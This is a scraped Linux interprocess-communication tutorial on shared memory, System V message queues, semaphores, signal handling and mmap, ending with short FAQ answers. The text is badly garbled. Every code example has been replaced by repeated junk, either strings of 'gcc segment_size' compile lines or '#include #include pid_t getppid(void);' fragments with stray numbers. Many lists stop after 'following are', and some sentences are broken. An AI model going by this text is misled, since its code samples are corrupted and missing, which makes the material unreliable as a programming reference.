Following is the code for write process (Writing into Shared Memory – File: shm_write.c) babukrishnam $ gcc segment_size1.c -o segment_size1 babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3 babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size54 Compilation and Execution Stepsbabukrishnam $ gcc segment_size1.c -o segment_size1 babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3 babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size55 Following is the code for read process (Reading from the Shared Memory and writing to the standard output – File: shm_read.c) babukrishnam $ gcc segment_size1.c -o segment_size1 babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3 babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size56 Compilation and Execution Stepsbabukrishnam $ gcc segment_size1.c -o segment_size1 babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3 babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size57 Why do we need message queues when we already have the shared memory? It would be for multiple reasons, let us try to break this into multiple points for simplification −
Using Shared Memory or Message Queues depends on the need of the application and how effectively it can be utilized. Communication using message queues can happen in the following ways −
Having seen certain information on message queues, now it is time to check for the system call (System V) which supports the message queues. To perform communication using message queues, following are the steps − Step 1 − Create a message queue or connect to an already existing message queue (msgget()) Step 2 − Write into message queue (msgsnd()) Step 3 − Read from the message queue (msgrcv()) Step 4 − Perform control operations on the message queue (msgctl()) Now, let us check the syntax and certain information on the above calls. babukrishnam $ gcc segment_size1.c -o segment_size1 babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3 babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size58 This system call creates or allocates a System V message queue. Following arguments need to be passed −
Note − Refer earlier sections for details on permissions. This call would return a valid message queue identifier (used for further calls of message queue) on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function. Various errors with respect to this call are EACCESS (permission denied), EEXIST (queue already exists can’t create), ENOENT (queue doesn’t exist), ENOMEM (not enough memory to create the queue), etc. babukrishnam $ gcc segment_size1.c -o segment_size1 babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3 babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size59 This system call sends/appends a message into the message queue (System V). Following arguments need to be passed −
#include #include pid_t getppid(void);00 The variable mtype is used for communicating with different message types, explained in detail in msgrcv() call. The variable mtext is an array or other structure whose size is specified by msgsz (positive value). If the mtext field is not mentioned, then it is considered as zero size message, which is permitted.
This call would return 0 on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function. #include #include pid_t getppid(void);01 This system call retrieves the message from the message queue (System V). Following arguments need to be passed −
#include #include pid_t getppid(void);00 The variable mtype is used for communicating with different message types. The variable mtext is an array or other structure whose size is specified by msgsz (positive value). If the mtext field is not mentioned, then it is considered as zero size message, which is permitted.
This call would return the number of bytes actually received in mtext array on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function. #include #include pid_t getppid(void);03 This system call performs control operations of the message queue (System V). Following arguments need to be passed −
IPC_STAT − Copies information of the current values of each member of struct msqid_ds to the passed structure pointed by buf. This command requires read permission on the message queue. IPC_SET − Sets the user ID, group ID of the owner, permissions etc pointed to by structure buf. IPC_RMID − Removes the message queue immediately. IPC_INFO − Returns information about the message queue limits and parameters in the structure pointed by buf, which is of type struct msginfo MSG_INFO − Returns an msginfo structure containing information about the consumed system resources by the message queue.
This call would return the value depending on the passed command. Success of IPC_INFO and MSG_INFO or MSG_STAT returns the index or identifier of the message queue or 0 for other operations and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function. Having seen the basic information and system calls with regard to message queues, now it is time to check with a program. Let us see the description before looking at the program − Step 1 − Create two processes, one is for sending into message queue (msgq_send.c) and another is for retrieving from the message queue (msgq_recv.c) Step 2 − Creating the key, using ftok() function. For this, initially file msgq.txt is created to get a unique key. Step 3 − The sending process performs the following.
Step 4 − In the receiving process, performs the following.
To simplify, we are not using the message type for this sample. Also, one process is writing into the queue and another process is reading from the queue. This can be extended as needed i.e., ideally one process would write into the queue and multiple processes read from the queue. Now, let us check the process (message sending into queue) – File: msgq_send.c #include #include pid_t getppid(void);04 Compilation and Execution Steps#include #include pid_t getppid(void);05 Following is the code from message receiving process (retrieving message from queue) – File: msgq_recv.c #include #include pid_t getppid(void);06 Compilation and Execution Steps#include #include pid_t getppid(void);07 The first question that comes to mind is, why do we need semaphores? A simple answer, to protect the critical/common region shared among multiple processes. Let us assume, multiple processes are using the same region of code and if all want to access parallelly then the outcome is overlapped. Say, for example, multiple users are using one printer only (common/critical section), say 3 users, given 3 jobs at same time, if all the jobs start parallelly, then one user output is overlapped with another. So, we need to protect that using semaphores i.e., locking the critical section when one process is running and unlocking when it is done. This would be repeated for each user/process so that one job is not overlapped with another job. Basically semaphores are classified into two types − Binary Semaphores − Only two states 0 & 1, i.e., locked/unlocked or available/unavailable, Mutex implementation. Counting Semaphores − Semaphores which allow arbitrary resource count are called counting semaphores. Assume that we have 5 printers (to understand assume that 1 printer only accepts 1 job) and we got 3 jobs to print. Now 3 jobs would be given for 3 printers (1 each). Again 4 jobs came while this is in progress. Now, out of 2 printers available, 2 jobs have been scheduled and we are left with 2 more jobs, which would be completed only after one of the resource/printer is available. This kind of scheduling as per resource availability can be viewed as counting semaphores. To perform synchronization using semaphores, following are the steps − Step 1 − Create a semaphore or connect to an already existing semaphore (semget()) Step 2 − Perform operations on the semaphore i.e., allocate or release or wait for the resources (semop()) Step 3 − Perform control operations on the message queue (semctl()) Now, let us check this with the system calls we have. #include #include pid_t getppid(void);08 This system call creates or allocates a System V semaphore set. The following arguments need to be passed −
Note − Refer earlier sections for details on permissions. This call would return valid semaphore identifier (used for further calls of semaphores) on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function. Various errors with respect to this call are EACCESS (permission denied), EEXIST (queue already exists can’t create), ENOENT (queue doesn’t exist), ENOMEM (not enough memory to create the queue), ENOSPC (maximum sets limit exceeded), etc. #include #include pid_t getppid(void);09 This system call performs the operations on the System V semaphore sets viz., allocating resources, waiting for the resources or freeing the resources. Following arguments need to be passed −
#include #include pid_t getppid(void);10 Element, sem_op, in the above structure, indicates the operation that needs to be performed −
For example − struct sembuf sem_lock = { 0, -1, SEM_UNDO }; struct sembuf sem_unlock = {0, 1, SEM_UNDO };
#include #include pid_t getppid(void);11 This system call performs control operation for a System V semaphore. The following arguments need to be passed −
Let us check the union semun − #include #include pid_t getppid(void);12 The semid_ds data structure which is defined in sys/sem.h is as follows − #include #include pid_t getppid(void);13 Note − Please refer manual pages for other data structures. union semun arg; Valid values for cmd are −
This call would return value (non-negative value) depending upon the passed command. Upon success, IPC_INFO and SEM_INFO or SEM_STAT returns the index or identifier of the highest used entry as per Semaphore or the value of semncnt for GETNCNT or the value of sempid for GETPID or the value of semval for GETVAL 0 for other operations on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function. Before looking at the code, let us understand its implementation −
Programs without semaphores. #include #include pid_t getppid(void);14 Compilation and Execution Steps#include #include pid_t getppid(void);15 Now, let us check the shared memory reading program. #include #include pid_t getppid(void);16 Compilation and Execution Steps#include #include pid_t getppid(void);17 If you observe the above output, the counter should be 20000, however, since before completion of one process task other process is also processing in parallel, the counter value is not as expected. The output would vary from system to system and also it would vary with each execution. To ensure the two processes perform the task after completion of one task, it should be implemented using synchronization mechanisms. Now, let us check the same application using semaphores. Note − Reading program remains the same. #include #include pid_t getppid(void);18 Compilation and Execution Steps#include #include pid_t getppid(void);19 Now, we will check the counter value by the reading process. Execution Steps#include #include pid_t getppid(void);20 A signal is a notification to a process indicating the occurrence of an event. Signal is also called software interrupt and is not predictable to know its occurrence, hence it is also called an asynchronous event. Signal can be specified with a number or a name, usually signal names start with SIG. The available signals can be checked with the command kill –l (l for Listing signal names), which is as follows − Whenever a signal is raised (either programmatically or system generated signal), a default action is performed. What if you don’t want to perform the default action but wish to perform your own actions on receiving the signal? Is this possible for all the signals? Yes, it is possible to handle the signal but not for all the signals. What if you want to ignore the signals, is this possible? Yes, it is possible to ignore the signal. Ignoring the signal implies neither performing the default action nor handling the signal. It is possible to ignore or handle almost all the signals. The signals which can’t be either ignored or handled/caught are SIGSTOP and SIGKILL. In summary, the actions performed for the signals are as follows −
As discussed the signal can be handled altering the execution of default action. Signal handling can be done in either of the two ways i.e., through system calls, signal() and sigaction(). #include #include pid_t getppid(void);21 The system call signal() would call the registered handler upon generation of signal as mentioned in signum. The handler can be either one of the SIG_IGN (Ignoring the Signal), SIG_DFL (Setting signal back to default mechanism) or user-defined signal handler or function address. This system call on success returns the address of a function that takes an integer argument and has no return value. This call returns SIG_ERR in case of error. Though with signal() the respective signal handler as registered by the user can be called, fine tuning such as masking the signals that should be blocked, modifying the behavior of a signal, and other functionalities are not possible. This are possible using sigaction() system call. #include #include pid_t getppid(void);22 This system call is used to either examine or change a signal action. If the act is not null, the new action for signal signum is installed from the act. If oldact is not null, the previous action is saved in oldact. The sigaction structure contains the following fields − Field 1 − Handler mentioned either in sa_handler or sa_sigaction. #include #include pid_t getppid(void);23 The handler for sa_handler specifies the action to be performed based on the signum and with SIG_DFL indicating default action or SIG_IGN to ignore the signal or pointer to a signal handling function. The handler for sa_sigaction specifies the signal number as the first argument, pointer to siginfo_t structure as the second argument and pointer to user context (check getcontext() or setcontext() for further details) as the third argument. The structure siginfo_t contains signal information such as the signal number to be delivered, signal value, process id, real user id of sending process, etc. Field 2 − Set of signals to be blocked. #include #include pid_t getppid(void);24 This variable specifies the mask of signals that should be blocked during the execution of signal handler. Field 3 − Special flags. #include #include pid_t getppid(void);25 This field specifies a set of flags which modify the behavior of the signal. Field 4 − Restore handler. #include #include pid_t getppid(void);26 This system call returns 0 on success and -1 in case of failure. Let us consider a few sample programs. First, let us start with a sample program, which generates exception. In this program, we are trying to perform divide by zero operation, which makes the system generate an exception. #include #include pid_t getppid(void);27 Compilation and Execution Steps#include #include pid_t getppid(void);28 Thus, when we are trying to perform an arithmetic operation, the system has generated a floating point exception with core dump, which is the default action of the signal. Now, let us modify the code to handle this particular signal using signal() system call. #include #include pid_t getppid(void);29 Compilation and Execution Steps#include #include pid_t getppid(void);30 As discussed, signals are generated by the system (upon performing certain operations such as divide by zero, etc.) or the user can also generate the signal programmatically. If you want to generate signal programmatically, use the library function raise(). Now, let us take another program to demonstrate handling and ignoring the signal. Assume that we have raised a signal using raise(), what happens then? After raising the signal, the execution of the current process is stopped. Then what happens to the stopped process? There can be two scenarios – First, continue the execution whenever required. Second, terminate (with kill command) the process. To continue the execution of the stopped process, send SIGCONT to that particular process. You can also issue fg (foreground) or bg (background) commands to continue the execution. Here, the commands would only re-start the execution of the last process. If more than one process is stopped, then only the last process is resumed. If you want to resume the previously stopped process, then resume the jobs (using fg/bg) along with job number. The following program is used to raise the signal SIGSTOP using raise() function. Signal SIGSTOP can also be generated by the user press of CTRL + Z (Control + Z) key. After issuing this signal, the program will stop executing. Send the signal (SIGCONT) to continue the execution. In the following example, we are resuming the stopped process with command fg. #include #include pid_t getppid(void);31 Compilation and Execution Steps#include #include pid_t getppid(void);32 Now, enhance the previous program to continue the execution of the stopped process by issuing SIGCONT from another terminal. #include #include pid_t getppid(void);33 Compilation and Execution Steps#include #include pid_t getppid(void);34 In another terminal#include #include pid_t getppid(void);35 So far, we have seen the program which handles the signal generated by the system. Now, let us see the signal generated through program (using raise() function or through kill command). This program generates signal SIGTSTP (terminal stop), whose default action is to stop the execution. However, since we are handling the signal now instead of default action, it will come to the defined handler. In this case, we are just printing the message and exiting. #include #include pid_t getppid(void);36 Compilation and Execution Steps#include #include pid_t getppid(void);37 We have seen the instances of performing default action or handling the signal. Now, it is time to ignore the signal. Here, in this sample program, we are registering the signal SIGTSTP to ignore through SIG_IGN and then we are raising the signal SIGTSTP (terminal stop). When the signal SIGTSTP is being generated that would be ignored. #include #include pid_t getppid(void);38 Compilation and Execution Steps#include #include pid_t getppid(void);39 So far, we have observed that we have one signal handler to handle one signal. Can we have a single handler to handle multiple signals? The answer is Yes. Let us consider this with a program. The following program does the following − Step 1 − Registers a handler (handleSignals) to catch or handle signals SIGINT (CTRL + C) or SIGQUIT (CTRL + \) Step 2 − If the user generates signal SIGQUIT (either through kill command or keyboard control with CTRL + \), the handler simply prints the message as return. Step 3 − If the user generates signal SIGINT (either through kill command or keyboard control with CTRL + C) first time, then it modifies the signal to perform default action (with SIG_DFL) from next time. Step 4 − If the user generates signal SIGINT second time, it performs a default action, which is the termination of program. #include #include pid_t getppid(void);40 Compilation and Execution Steps#include #include pid_t getppid(void);41 Another Terminal#include #include pid_t getppid(void);42 Second Method#include #include pid_t getppid(void);43 We know that to handle a signal, we have two system calls i.e., either signal() or sigaction(). Till now we have seen with signal() system call, now it is time for sigaction() system call. Let us modify the above program to perform using sigaction() as follows − #include #include pid_t getppid(void);44 Let us see the compilation and execution process. In the execution process, let us see issue CTRL+C twice, remaining checks/ways (as above) you can try for this program as well. Compilation and Execution Steps#include #include pid_t getppid(void);45 The mmap() system call provides mapping in the virtual address space of the calling process that maps the files or devices into memory. This is of two types − File mapping or File-backed mapping − This mapping maps the area of the process’ virtual memory to the files. This means reading or writing to those areas of memory causes the file to be read or written. This is the default mapping type. Anonymous mapping − This mapping maps the area of the process’ virtual memory without backed by any file. The contents are initialized to zero. This mapping is similar to dynamic memory allocation (malloc()) and is used in some malloc() implementations for certain allocations. The memory in one process mapping may be shared with mappings in other processes. This can be done in two ways −
When two or more processes share the same pages, each process can see the changes of the page contents made by other processes depending on the mapping type. The mapping type can be either private or shared − Private Mapping (MAP_PRIVATE) − Modifications to the contents of this mapping are not visible to other processes and the mapping is not carried to the underlying file. Shared Mapping (MAP_SHARED) − Modifications to the contents of this mapping are visible to other processes and mapping is carried to the underlying file. #include #include pid_t getppid(void);46 The above system call returns the starting address of the mapping on success or MAP_FAILED on error. The virtual address addr, can be either user specified or generated by the kernel (upon passing addr as NULL). The field length indicated requires the size of mapping in bytes. The field prot indicates memory protection values such as PROT_NONE, PROT_READ, PROT_WRITE, PROT_EXEC meant for regions that may not be accessed, read, write or executed respectively. This value can be single (PROT_NONE) or can be ORd with any of the three flags (last 3). The field flags indicate mapping type either or MAP_PRIVATE or MAP_SHARED. The field ‘fd’ indicates the file descriptor identifying the file to be mapped and the field ‘offset’ implies the starting point of the file, if need to map the entire file, offset should be zero. #include #include pid_t getppid(void);47 The above system call returns 0 on success or -1 on error. The system call munmap, performs the unmapping of the already memory mapped region. The fields addr indicates the starting address of the mapping and the length indicates the size in bytes of the mapping to be unmapped. Usually, the mapping and unmapping would be for the entire mapped regions. If this has to be different, then it should be either shrinked or cut in two parts. If the addr doesn’t have any mappings this call would have no effect and the call returns 0 (success). Let us consider an example − Step 1 − Writie into file Alpha Numeric characters as shown below − 012…2526272829303132333435363738…596061ABC…Z0123456789Abc…xyzStep 2 − Map the file contents into memory using mmap() system call. This would return the start address after mapped into the memory. Step 3 − Access the file contents using array notation (can also access with pointer notation) as doesn’t read expensive read() system call. Using memory mapping, avoid multiple copying between the user space, kernel space buffers and buffer cache. Step 4 − Repeat reading the file contents until the user enters “-1” (signifies end of access). Step 5 − Perform clean-up activities i.e., unmapping the mapped memory region (munmap()), closing the file and removing the file. Which operations does the IPC facility provide?Interprocess Communication (IPC)
Message system - processes communicate with each other without resorting to shared variables. IPC facility provides two operations: send(message) - messages can be of either fixed or variable size. receive(message)
What are the two models of inter process communication facility?There are two primary models of interprocess communication:. shared memory and.. message passing.. What are the two types of IPC techniques?It is important to obtain synchronization among processes in IPC to maintain data consistency. Semaphore and mutex are two ways to do so.
When inter process communication is used then the two operation which are used?IPC mechanism provides two operations: Send (message)- message size fixed or variable. Received (message)
|
